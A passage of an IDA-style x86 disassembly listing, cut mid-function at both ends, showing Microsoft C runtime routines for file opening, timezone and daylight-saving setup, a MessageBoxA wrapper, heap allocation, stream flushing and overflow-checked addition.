		cmp	eax, 20h
		jz	short loc_415859
		cmp	eax, 30h
		jz	short loc_415850
		cmp	eax, 40h
		jnz	short loc_415806
		mov	[ebp+var_10], esi
		jmp	short loc_415865
; ---------------------------------------------------------------------------


loc_415850:				; CODE XREF: sub_4157AA+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_415865
; ---------------------------------------------------------------------------


loc_415859:				; CODE XREF: sub_4157AA+95j
		mov	[ebp+var_10], 1
		jmp	short loc_415865
; ---------------------------------------------------------------------------


loc_415862:				; CODE XREF: sub_4157AA+90j
		mov	[ebp+var_10], ebx


loc_415865:				; CODE XREF: sub_4157AA+A4j
					; sub_4157AA+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_4158AF
		jz	short loc_4158AA
		cmp	ecx, ebx
		jz	short loc_4158AA
		cmp	ecx, edi
		jz	short loc_4158A1
		cmp	ecx, 200h
		jz	short loc_4158C8
		cmp	ecx, 300h
		jnz	loc_415806
		mov	[ebp+var_8], 2
		jmp	short loc_4158D8
; ---------------------------------------------------------------------------


loc_4158A1:				; CODE XREF: sub_4157AA+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_4158D8
; ---------------------------------------------------------------------------


loc_4158AA:				; CODE XREF: sub_4157AA+D0j
					; sub_4157AA+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_4158D8
; ---------------------------------------------------------------------------


loc_4158AF:				; CODE XREF: sub_4157AA+CEj
		cmp	ecx, 500h
		jz	short loc_4158D1
		cmp	ecx, 600h
		jz	short loc_4158C8
		cmp	ecx, edx
		jz	short loc_4158D1
		jmp	loc_415806
; ---------------------------------------------------------------------------


loc_4158C8:				; CODE XREF: sub_4157AA+E0j
					; sub_4157AA+113j
		mov	[ebp+var_8], 5
		jmp	short loc_4158D8
; ---------------------------------------------------------------------------


loc_4158D1:				; CODE XREF: sub_4157AA+10Bj
					; sub_4157AA+117j
		mov	[ebp+var_8], 1


loc_4158D8:				; CODE XREF: sub_4157AA+F5j
					; sub_4157AA+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_4158F7
		mov	ecx, dword_481DC4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_4158F7
		push	1
		pop	esi


loc_4158F7:				; CODE XREF: sub_4157AA+138j
					; sub_4157AA+148j
		test	al, 40h
		jz	short loc_415905
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_415905:				; CODE XREF: sub_4157AA+14Fj
		test	ah, 10h
		jz	short loc_41590C
		or	esi, edi


loc_41590C:				; CODE XREF: sub_4157AA+15Ej
		test	al, 20h
		jz	short loc_415918
		or	esi, 8000000h
		jmp	short loc_415922
; ---------------------------------------------------------------------------


loc_415918:				; CODE XREF: sub_4157AA+164j
		test	al, 10h
		jz	short loc_415922
		or	esi, 10000000h


loc_415922:				; CODE XREF: sub_4157AA+16Cj
					; sub_4157AA+170j
		call	sub_415590
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_415943
		and	dword_481DC0, 0
		mov	dword_481DBC, 18h
		jmp	short loc_415981
; ---------------------------------------------------------------------------


loc_415943:				; CODE XREF: sub_4157AA+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_418084	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_415974
		push	esi
		call	dword_418030	; GetFileType
		test	eax, eax
		jnz	short loc_415988
		push	esi
		call	dword_41807C	; CloseHandle


loc_415974:				; CODE XREF: sub_4157AA+1B6j
		call	dword_418044	; RtlGetLastWin32Error
		push	eax
		call	sub_413260
		pop	ecx


loc_415981:				; CODE XREF: sub_4157AA+197j
		mov	eax, edi
		jmp	loc_415A5E
; ---------------------------------------------------------------------------


loc_415988:				; CODE XREF: sub_4157AA+1C1j
		cmp	eax, 2
		jnz	short loc_415993
		or	[ebp+var_1], 40h
		jmp	short loc_41599C
; ---------------------------------------------------------------------------


loc_415993:				; CODE XREF: sub_4157AA+1E1j
		cmp	eax, 3
		jnz	short loc_41599C
		or	[ebp+var_1], 8


loc_41599C:				; CODE XREF: sub_4157AA+1E7j
					; sub_4157AA+1ECj
		push	esi
		push	ebx
		call	sub_415625
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4830E0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_415A45
		test	al, 80h
		jz	short loc_415A45
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_415A45
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_413BAD
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_4159FA
		cmp	dword_481DC0, 83h
		jz	short loc_415A45
		jmp	short loc_415A39
; ---------------------------------------------------------------------------


loc_4159FA:				; CODE XREF: sub_4157AA+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_412E82
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_415A27
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_415A27
		push	[ebp+var_10]
		push	ebx
		call	sub_416C0D
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_415A39


loc_415A27:				; CODE XREF: sub_4157AA+265j
					; sub_4157AA+26Bj
		push	0
		push	0
		push	ebx
		call	sub_413BAD
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415A45


loc_415A39:				; CODE XREF: sub_4157AA+24Ej
					; sub_4157AA+27Bj
		push	ebx
		call	sub_412BBE
		pop	ecx


loc_415A40:				; CODE XREF: sub_4157AA+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_415A5E
; ---------------------------------------------------------------------------


loc_415A45:				; CODE XREF: sub_4157AA+221j
					; sub_4157AA+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_415A5C
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_415A5C
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_415A5C:				; CODE XREF: sub_4157AA+29Fj
					; sub_4157AA+2A5j
		mov	eax, ebx


loc_415A5E:				; CODE XREF: sub_4157AA+1D9j
					; sub_4157AA+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A63	proc near		; CODE XREF: sub_413393:loc_4133D2p
		cmp	dword_482080, 0
		jnz	short locret_415A77
		call	sub_415A78
		inc	dword_482080

locret_415A77:				; CODE XREF: sub_415A63+7j
		retn
sub_415A63	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A78	proc near		; CODE XREF: sub_415A63+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_481FC8, ebp
		mov	dword_4226F0, ebx
		mov	dword_4226E0, ebx
		call	sub_416D53
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_415BA1
		push	offset dword_481FD0
		call	dword_418120	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_415CD0
		mov	eax, dword_481FD0
		mov	ecx, dword_482024
		imul	eax, 3Ch
		cmp	word_482016, bp
		push	1
		pop	edx
		mov	dword_422648, eax
		mov	dword_481FC8, edx
		jz	short loc_415AEF
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_422648, eax


loc_415AEF:				; CODE XREF: sub_415A78+69j
		cmp	word_48206A, bp
		jz	short loc_415B13
		mov	eax, dword_482078
		cmp	eax, ebp
		jz	short loc_415B13
		sub	eax, ecx
		mov	dword_42264C, edx
		imul	eax, 3Ch
		mov	dword_422650, eax
		jmp	short loc_415B1F
; ---------------------------------------------------------------------------


loc_415B13:				; CODE XREF: sub_415A78+7Ej
					; sub_415A78+87j
		mov	dword_42264C, ebp
		mov	dword_422650, ebp


loc_415B1F:				; CODE XREF: sub_415A78+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_4180C8
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4226D4
		push	ebx
		push	offset dword_481FD4
		push	edi
		push	dword_481E5C
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_415B5C
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_415B5C
		mov	eax, off_4226D4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_415B64
; ---------------------------------------------------------------------------


loc_415B5C:				; CODE XREF: sub_415A78+D1j
					; sub_415A78+D7j
		mov	eax, off_4226D4
		and	byte ptr [eax],	0


loc_415B64:				; CODE XREF: sub_415A78+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_4226D8
		push	ebx
		push	offset dword_482028
		push	edi
		push	dword_481E5C
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_415CC8
		cmp	[esp+14h+var_4], ebp
		jnz	loc_415CC8
		mov	eax, off_4226D8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_415CD0
; ---------------------------------------------------------------------------


loc_415BA1:				; CODE XREF: sub_415A78+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_415CD0
		mov	eax, dword_48207C
		cmp	eax, ebp
		jz	short loc_415BC4
		push	eax
		push	esi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_415CD0


loc_415BC4:				; CODE XREF: sub_415A78+139j
		push	dword_48207C
		call	sub_40CD81
		push	esi
		call	sub_40CBC0
		inc	eax
		push	eax
		call	sub_40CCCF
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_48207C, eax
		jz	loc_415CD0
		push	esi
		push	eax
		call	sub_40E3C0
		push	3
		push	esi
		push	off_4226D4
		call	sub_40C720
		mov	eax, off_4226D4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_415C19
		push	1
		inc	esi
		pop	edi


loc_415C19:				; CODE XREF: sub_415A78+19Bj
		push	esi
		call	sub_40D934
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_422648, ecx


loc_415C30:				; CODE XREF: sub_415A78+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_415C3E
		cmp	al, bl
		jl	short loc_415C41
		cmp	al, 39h
		jg	short loc_415C41


loc_415C3E:				; CODE XREF: sub_415A78+1BCj
		inc	esi
		jmp	short loc_415C30
; ---------------------------------------------------------------------------


loc_415C41:				; CODE XREF: sub_415A78+1C0j
					; sub_415A78+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_415C94
		inc	esi
		push	esi
		call	sub_40D934
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_422648
		add	ecx, eax
		mov	dword_422648, ecx


loc_415C5F:				; CODE XREF: sub_415A78+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_415C6C
		cmp	al, 39h
		jg	short loc_415C6C
		inc	esi
		jmp	short loc_415C5F
; ---------------------------------------------------------------------------


loc_415C6C:				; CODE XREF: sub_415A78+1EBj
					; sub_415A78+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_415C94
		inc	esi
		push	esi
		call	sub_40D934
		pop	ecx
		mov	ecx, dword_422648
		add	ecx, eax
		mov	dword_422648, ecx


loc_415C87:				; CODE XREF: sub_415A78+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_415C94
		cmp	al, 39h
		jg	short loc_415C94
		inc	esi
		jmp	short loc_415C87
; ---------------------------------------------------------------------------


loc_415C94:				; CODE XREF: sub_415A78+1CCj
					; sub_415A78+1F7j ...
		cmp	edi, ebp
		jz	short loc_415CA0
		neg	ecx
		mov	dword_422648, ecx


loc_415CA0:				; CODE XREF: sub_415A78+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_42264C, eax
		jz	short loc_415CC8
		push	3
		push	esi
		push	off_4226D8
		call	sub_40C720
		mov	eax, off_4226D8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_415CD0
; ---------------------------------------------------------------------------


loc_415CC8:				; CODE XREF: sub_415A78+10Bj
					; sub_415A78+115j ...
		mov	eax, off_4226D8
		and	byte ptr [eax],	0


loc_415CD0:				; CODE XREF: sub_415A78+40j
					; sub_415A78+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_415A78	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CD6	proc near		; CODE XREF: sub_413393+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_42264C, edi
		jnz	short loc_415CEA


loc_415CE3:				; CODE XREF: sub_415CD6+148j
					; sub_415CD6+150j ...
		xor	eax, eax
		jmp	loc_415E36
; ---------------------------------------------------------------------------


loc_415CEA:				; CODE XREF: sub_415CD6+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4226E0
		jnz	short loc_415D08
		cmp	eax, dword_4226F0
		jz	loc_415E0A


loc_415D08:				; CODE XREF: sub_415CD6+24j
		cmp	dword_481FC8, edi
		jz	loc_415DE0
		movzx	ecx, word_482076
		push	ecx
		cmp	word_482068, di
		movzx	ecx, word_482074
		push	ecx
		movzx	ecx, word_482072
		push	ecx
		movzx	ecx, word_482070
		push	ecx
		jnz	short loc_415D5A
		movzx	ecx, word_48206C
		push	edi
		push	ecx
		movzx	ecx, word_48206E
		push	ecx
		movzx	ecx, word_48206A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_415D6E
; ---------------------------------------------------------------------------


loc_415D5A:				; CODE XREF: sub_415CD6+65j
		movzx	ecx, word_48206E
		push	ecx
		push	edi
		movzx	ecx, word_48206A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_415D6E:				; CODE XREF: sub_415CD6+82j
		push	ebx
		call	sub_415E82
		movzx	eax, word_482022
		add	esp, 2Ch
		cmp	word_482014, di
		push	eax
		movzx	eax, word_482020
		push	eax
		movzx	eax, word_48201E
		push	eax
		movzx	eax, word_48201C
		push	eax
		jnz	short loc_415DC8
		movzx	eax, word_482018
		push	edi
		push	eax
		movzx	eax, word_48201A
		push	eax
		movzx	eax, word_482016
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_415DBD:				; CODE XREF: sub_415CD6+108j
		push	edi
		call	sub_415E82
		add	esp, 2Ch
		jmp	short loc_415E0A
; ---------------------------------------------------------------------------


loc_415DC8:				; CODE XREF: sub_415CD6+C8j
		movzx	eax, word_48201A
		push	eax
		push	edi
		movzx	eax, word_482016
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_415DBD
; ---------------------------------------------------------------------------


loc_415DE0:				; CODE XREF: sub_415CD6+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_415E82
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_415E82
		add	esp, 58h


loc_415E0A:				; CODE XREF: sub_415CD6+2Cj
					; sub_415CD6+F0j
		mov	edx, dword_4226E4
		mov	eax, dword_4226F4
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_415E3A
		cmp	ecx, edx
		jl	loc_415CE3
		cmp	ecx, eax
		jg	loc_415CE3
		cmp	ecx, edx
		jle	short loc_415E4E
		cmp	ecx, eax
		jge	short loc_415E4E


loc_415E34:				; CODE XREF: sub_415CD6+166j
					; sub_415CD6+16Aj
		mov	eax, ebx


loc_415E36:				; CODE XREF: sub_415CD6+Fj
					; sub_415CD6+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_415E3A:				; CODE XREF: sub_415CD6+144j
		cmp	ecx, eax
		jl	short loc_415E34
		cmp	ecx, edx
		jg	short loc_415E34
		cmp	ecx, eax
		jle	short loc_415E4E
		cmp	ecx, edx
		jl	loc_415CE3


loc_415E4E:				; CODE XREF: sub_415CD6+158j
					; sub_415CD6+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_415E75
		xor	ecx, ecx
		cmp	eax, dword_4226E8
		setnl	cl


loc_415E71:				; CODE XREF: sub_415CD6+1AAj
		mov	eax, ecx
		jmp	short loc_415E36
; ---------------------------------------------------------------------------


loc_415E75:				; CODE XREF: sub_415CD6+18Ej
		xor	ecx, ecx
		cmp	eax, dword_4226F8
		setl	cl
		jmp	short loc_415E71
sub_415CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E82	proc near		; CODE XREF: sub_415CD6+99p
					; sub_415CD6+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_415F1D
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_415EAD
		shl	esi, 2
		mov	eax, dword_4226F8[esi]
		jmp	short loc_415EB6
; ---------------------------------------------------------------------------


loc_415EAD:				; CODE XREF: sub_415E82+1Ej
		shl	esi, 2
		mov	eax, dword_42272C[esi]


loc_415EB6:				; CODE XREF: sub_415E82+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_415EF0
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_415EFA
; ---------------------------------------------------------------------------


loc_415EF0:				; CODE XREF: sub_415E82+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_415EFA:				; CODE XREF: sub_415E82+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_415F38
		cmp	[ebp+arg_8], 0
		jnz	short loc_415F0E
		mov	esi, dword_4226FC[esi]
		jmp	short loc_415F14
; ---------------------------------------------------------------------------


loc_415F0E:				; CODE XREF: sub_415E82+82j
		mov	esi, dword_422730[esi]


loc_415F14:				; CODE XREF: sub_415E82+8Aj
		cmp	ecx, esi
		jle	short loc_415F38
		sub	ecx, 7
		jmp	short loc_415F38
; ---------------------------------------------------------------------------


loc_415F1D:				; CODE XREF: sub_415E82+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_415F2E
		mov	ecx, dword_4226F8[eax*4]
		jmp	short loc_415F35
; ---------------------------------------------------------------------------


loc_415F2E:				; CODE XREF: sub_415E82+A1j
		mov	ecx, dword_42272C[eax*4]


loc_415F35:				; CODE XREF: sub_415E82+AAj
		add	ecx, [ebp+arg_18]


loc_415F38:				; CODE XREF: sub_415E82+7Cj
					; sub_415E82+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_415F69
		mov	eax, [ebp+arg_1C]
		mov	dword_4226E4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4226E0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4226E8, eax
		jmp	short loc_415FBE
; ---------------------------------------------------------------------------


loc_415F69:				; CODE XREF: sub_415E82+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_4226F4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_422650
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4226F8, eax
		jns	short loc_415FA1
		add	eax, 5265C00h
		dec	ecx
		mov	dword_4226F8, eax
		jmp	short loc_415FB2
; ---------------------------------------------------------------------------


loc_415FA1:				; CODE XREF: sub_415E82+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_415FB8
		sub	eax, edx
		inc	ecx
		mov	dword_4226F8, eax


loc_415FB2:				; CODE XREF: sub_415E82+11Dj
		mov	dword_4226F4, ecx


loc_415FB8:				; CODE XREF: sub_415E82+126j
		mov	dword_4226F0, ebx


loc_415FBE:				; CODE XREF: sub_415E82+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415E82	endp


; =============== S U B	R O U T	I N E =======================================



sub_415FC2	proc near		; CODE XREF: sub_413F23+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_415FD3
		add	esp, 0Ch
		retn
sub_415FC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_415FD3	proc near		; CODE XREF: sub_415FC2+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_483301[eax], cl
		jnz	short loc_416000
		cmp	[esp+arg_4], 0
		jz	short loc_415FF9
		movzx	eax, word_421E02[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_415FFB
; ---------------------------------------------------------------------------


loc_415FF9:				; CODE XREF: sub_415FD3+16j
		xor	eax, eax


loc_415FFB:				; CODE XREF: sub_415FD3+24j
		test	eax, eax
		jnz	short loc_416000
		retn
; ---------------------------------------------------------------------------


loc_416000:				; CODE XREF: sub_415FD3+Fj
					; sub_415FD3+2Aj
		push	1
		pop	eax
		retn
sub_415FD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416004	proc near		; CODE XREF: sub_414679+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_482084, ebx
		push	esi
		push	edi
		jnz	short loc_416053
		push	offset aUser32_dll ; "user32.dll"
		call	dword_41808C	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_416089
		mov	esi, dword_418090
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_482084, eax
		jz	short loc_416089
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_482088, eax
		call	esi	; GetProcAddress
		mov	dword_48208C, eax


loc_416053:				; CODE XREF: sub_416004+Bj
		mov	eax, dword_482088
		test	eax, eax
		jz	short loc_416072
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_416072
		mov	eax, dword_48208C
		test	eax, eax
		jz	short loc_416072
		push	ebx
		call	eax
		mov	ebx, eax


loc_416072:				; CODE XREF: sub_416004+56j
					; sub_416004+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_482084


loc_416085:				; CODE XREF: sub_416004+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_416089:				; CODE XREF: sub_416004+1Cj
					; sub_416004+33j
		xor	eax, eax
		jmp	short loc_416085
sub_416004	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41608D	proc near		; CODE XREF: sub_4149E3+22p
					; sub_4149E3+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4160AE
		test	esi, esi
		jnz	short loc_4160A8
		push	1
		pop	esi


loc_4160A8:				; CODE XREF: sub_41608D+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4160AE:				; CODE XREF: sub_41608D+12j
					; sub_41608D+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41610D
		mov	eax, dword_483428
		cmp	eax, 3
		jnz	short loc_4160D9
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_483420
		ja	short loc_4160F8
		push	eax
		call	sub_41061C
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_416123
		jmp	short loc_4160F8
; ---------------------------------------------------------------------------


loc_4160D9:				; CODE XREF: sub_41608D+30j
		cmp	eax, 2
		jnz	short loc_4160F8
		cmp	esi, dword_421CB4
		ja	short loc_4160F8
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_4110BF
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_416137


loc_4160F8:				; CODE XREF: sub_41608D+3Bj
					; sub_41608D+4Aj ...
		push	esi
		push	8
		push	dword_483424
		call	dword_418110	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_416131


loc_41610D:				; CODE XREF: sub_41608D+26j
		cmp	dword_481E14, 0
		jz	short loc_416131
		push	esi
		call	sub_410093
		test	eax, eax
		pop	ecx
		jz	short loc_41613A
		jmp	short loc_4160AE
; ---------------------------------------------------------------------------


loc_416123:				; CODE XREF: sub_41608D+48j
		push	[ebp+arg_0]


loc_416126:				; CODE XREF: sub_41608D+ABj
		push	0
		push	edi
		call	sub_40CC40
		add	esp, 0Ch


loc_416131:				; CODE XREF: sub_41608D+7Ej
					; sub_41608D+87j
		mov	eax, edi


loc_416133:				; CODE XREF: sub_41608D+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_416137:				; CODE XREF: sub_41608D+69j
		push	esi
		jmp	short loc_416126
; ---------------------------------------------------------------------------


loc_41613A:				; CODE XREF: sub_41608D+92j
		xor	eax, eax
		jmp	short loc_416133
sub_41608D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414A88


loc_41613E:				; CODE XREF: sub_414A88+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4830C0, esi
		jle	short loc_416191


loc_41614D:				; CODE XREF: sub_414A88+1707j
		mov	eax, dword_4820B0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_416188
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_41616C
		push	eax
		call	sub_40D9CA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41616C
		inc	edi


loc_41616C:				; CODE XREF: sub_414A88+16D5j
					; sub_414A88+16E1j
		cmp	esi, 14h
		jl	short loc_416188
		mov	eax, dword_4820B0
		push	dword ptr [eax+esi*4]
		call	sub_40CD81
		mov	eax, dword_4820B0
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_416188:				; CODE XREF: sub_414A88+16CFj
					; sub_414A88+16E7j
		inc	esi
		cmp	esi, dword_4830C0
		jl	short loc_41614D


loc_416191:				; CODE XREF: sub_414A88+16C3j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_414A88

; =============== S U B	R O U T	I N E =======================================



sub_416196	proc near		; CODE XREF: sub_414E3F+2Bp
					; sub_414E3F+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_4161AC
		cmp	ecx, esi
		jnb	short loc_4161AF


loc_4161AC:				; CODE XREF: sub_416196+10j
		push	1
		pop	eax


loc_4161AF:				; CODE XREF: sub_416196+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_416196	endp


; =============== S U B	R O U T	I N E =======================================



sub_4161B7	proc near		; CODE XREF: sub_416270+40p
					; sub_416270+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_416196
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4161E9
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_416196
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4161E9
